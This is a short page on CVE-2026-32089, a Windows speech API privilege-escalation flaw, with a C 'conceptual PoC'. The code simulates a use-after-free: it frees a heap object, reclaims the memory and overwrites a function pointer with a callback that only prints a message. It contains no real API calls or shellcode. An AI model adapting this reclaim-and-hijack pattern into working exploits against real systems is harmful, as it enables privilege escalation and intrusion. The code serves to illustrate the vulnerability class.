CVE-2026-32089 Windows语音API权限提升漏洞

// Conceptual PoC for CVE-2026-32089 (Use After Free) // This code demonstrates the logic of a UAF vulnerability. #include <windows.h> #include <stdio.h> // Simulated vulnerable structure typedef struct _SPEECH_OBJECT { VOID (*Process)(LPVOID); LPVOID Context; } SPEECH_OBJECT, *PSPEECH_OBJECT; void MaliciousCallback(LPVOID ctx) { printf("[+] Executing arbitrary code as SYSTEM!\n"); // Shellcode execution would go here } void ExploitUAF() { PSPEECH_OBJECT pObj = (PSPEECH_OBJECT)HeapAlloc(GetProcessHeap(), 0, sizeof(SPEECH_OBJECT)); pObj->Process = NULL; // 1. The vulnerable API frees the object HeapFree(GetProcessHeap(), 0, pObj); printf("[*] Object freed by API (UAF condition created).\n"); // 2. Attacker reallocates/sprays memory to control pObj PSPEECH_OBJECT pFakeObj = (PSPEECH_OBJECT)HeapAlloc(GetProcessHeap(), 0, sizeof(SPEECH_OBJECT)); if (pFakeObj == pObj) { printf("[*] Successfully reclaimed memory address.\n"); pFakeObj->Process = MaliciousCallback; pFakeObj->Context = NULL; } // 3. The vulnerable API uses the dangling pointer if (pObj && pObj->Process) { pObj->Process(pObj->Context); } } int main() { printf("[+] CVE-2026-32089 PoC Trigger\n"); ExploitUAF(); return 0; }